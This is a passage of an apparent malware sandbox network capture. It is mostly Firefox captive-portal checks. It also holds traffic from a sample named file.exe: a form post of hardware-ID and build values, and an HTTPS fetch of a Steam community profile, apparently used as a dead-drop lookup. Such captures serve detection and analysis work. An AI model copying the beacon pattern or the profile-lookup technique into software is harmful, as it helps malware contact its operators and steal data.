name="hwid"739A55EA39BD3120641781------CGCFCBAKKFBFIECAEBAEContent-Disposition: form-data; name="build"doma------CGCFCBAKKFBFIECAEBAE--
Oct 23, 2024 15:50:14.813915968 CEST	210	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 13:50:14 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.5	60601	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 15:50:17.833091974 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 23, 2024 15:50:18.432945967 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 22 Oct 2024 16:12:19 GMT Age: 77879 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 23, 2024 15:50:18.540067911 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 23, 2024 15:50:18.665601969 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 22 Oct 2024 16:12:19 GMT Age: 77879 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 23, 2024 15:50:18.688095093 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 23, 2024 15:50:18.817975044 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 22 Oct 2024 16:12:19 GMT Age: 77879 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 23, 2024 15:50:18.853682995 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 23, 2024 15:50:18.979244947 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 22 Oct 2024 16:12:19 GMT Age: 77879 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 23, 2024 15:50:19.117382050 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 23, 2024 15:50:19.256171942 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 22 Oct 2024 16:12:19 GMT Age: 77880 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 23, 2024 15:50:19.551528931 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 23, 2024 15:50:19.677678108 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 22 Oct 2024 16:12:19 GMT Age: 77880 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 23, 2024 15:50:20.233500957 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 23, 2024 15:50:20.358828068 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 22 Oct 2024 16:12:19 GMT Age: 77881 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 23, 2024 15:50:20.422307014 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 23, 2024 15:50:20.547693968 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 22 Oct 2024 16:12:19 GMT Age: 77881 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 23, 2024 15:50:20.853435040 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 23, 2024 15:50:20.980094910 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 22 Oct 2024 16:12:19 GMT Age: 77881 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.5	60612	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 15:50:18.685961962 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.5	60616	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 15:50:18.827758074 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.5	60619	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 15:50:18.987848997 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.5	60621	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 15:50:19.279530048 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.5	60625	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 15:50:19.685888052 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 23, 2024 15:50:20.283902884 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 22 Oct 2024 16:07:54 GMT Age: 78146 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 23, 2024 15:50:20.361427069 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 23, 2024 15:50:20.486305952 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 22 Oct 2024 16:07:54 GMT Age: 78146 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 23, 2024 15:50:20.550785065 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 23, 2024 15:50:20.675698996 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 22 Oct 2024 16:07:54 GMT Age: 78146 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 23, 2024 15:50:20.987478971 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 23, 2024 15:50:21.114345074 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 22 Oct 2024 16:07:54 GMT Age: 78147 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.5	60635	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 15:50:25.757390022 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 23, 2024 15:50:26.363477945 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 22 Oct 2024 16:12:19 GMT Age: 77887 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 23, 2024 15:50:26.451679945 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 23, 2024 15:50:26.579127073 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 22 Oct 2024 16:12:19 GMT Age: 77887 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 23, 2024 15:50:26.643388033 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 23, 2024 15:50:26.772891998 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 22 Oct 2024 16:12:19 GMT Age: 77887 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 23, 2024 15:50:26.847701073 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.5	60646	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 15:50:26.372164965 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.5	60650	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 15:50:26.618424892 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.5	60654	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 15:50:26.782113075 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	104.102.49.254	443	5328	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-23 13:48:05 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-23 13:48:06 UTC	1917	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Wed, 23 Oct 2024 13:48:05 GMT Content-Length: 35741 Connection: close Set-Cookie: sessionid=9a15c3274d3789925e8f19af; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cb9e7f3651c38ac41ccf738a8ba3498dc; Path=/; Secure; HttpOnly; SameSite=None
2024-10-23 13:48:06 UTC	14467	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-23 13:48:06 UTC	16384	IN	Data Raw: 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 64 69 73 63 75 73 73 69 6f 6e 73 2f 22 3e 0d 0a 09 09 09 09 09 09 44 69 73 63 75 73 73 69 6f 6e 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 77 6f 72 6b 73 68 6f 70 2f 22 3e 0d 0a 09 09 09 09 09 09 57 6f 72 6b 73 68 6f 70 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 Data Ascii: <a class="submenuitem" href="https://steamcommunity.com/discussions/">Discussions</a><a class="submenuitem" href="https://steamcommunity.com/workshop/">Workshop</a><a class="submenuit
2024-10-23 13:48:06 UTC	3768	IN	Data Raw: 63 31 63 64 66 65 62 5f 66 75 6c 6c 2e 6a 70 67 22 3e 0d 0a 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 62 61 64 67 65 69 6e 66 6f 22 3e 0d 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 62 61 64 67 65 69 6e 66 6f 5f 62 61 64 67 65 5f 61 72 65 61 22 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 64 61 74 61 2d 70 61 6e 65 6c 3d 22 7b 26 71 75 6f 74 3b 66 6f 63 75 73 61 62 6c 65 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 63 6c 69 63 6b 4f 6e 41 63 74 69 76 61 74 65 26 71 75 6f 74 3b 3a 74 72 75 65 7d 22 20 63 6c 61 73 73 3d 22 70 65 Data Ascii: c1cdfeb_full.jpg"></div></div><div class="profile_header_badgeinfo"><div class="profile_header_badgeinfo_badge_area"><a data-panel="{"focusable":true,"clickOnActivate":true}" class="pe
2024-10-23 13:48:06 UTC	1122	IN	Data Raw: 70 72 6f 70 65 72 74 79 20 6f 66 20 74 68 65 69 72 20 72 65 73 70 65 63 74 69 76 65 20 6f 77 6e 65 72 73 20 69 6e 20 74 68 65 20 55 53 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 75 6e 74 72 69 65 73 2e 3c 62 72 2f 3e 53 6f 6d 65 20 67 65 6f 73 70 61 74 69 61 6c 20 64 61 74 61 20 6f 6e 20 74 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 70 72 6f 76 69 64 65 64 20 62 79 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 6c 69 6e 6b 66 69 6c 74 65 72 2f 3f 75 3d 68 74 74 70 25 33 41 25 32 46 25 32 46 77 77 77 2e 67 65 6f 6e 61 6d 65 73 2e 6f 72 67 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 72 65 6c 3d 22 20 6e 6f 6f 70 65 6e 65 72 22 3e 67 65 6f 6e 61 6d 65 73 2e 6f 72 67 3c 2f 61 3e 2e 09 09 Data Ascii: property of their respective owners in the US and other countries.<br/>Some geospatial data on this website is provided by <a href="https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org" target="_blank" rel=" noopener">geonames.org</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
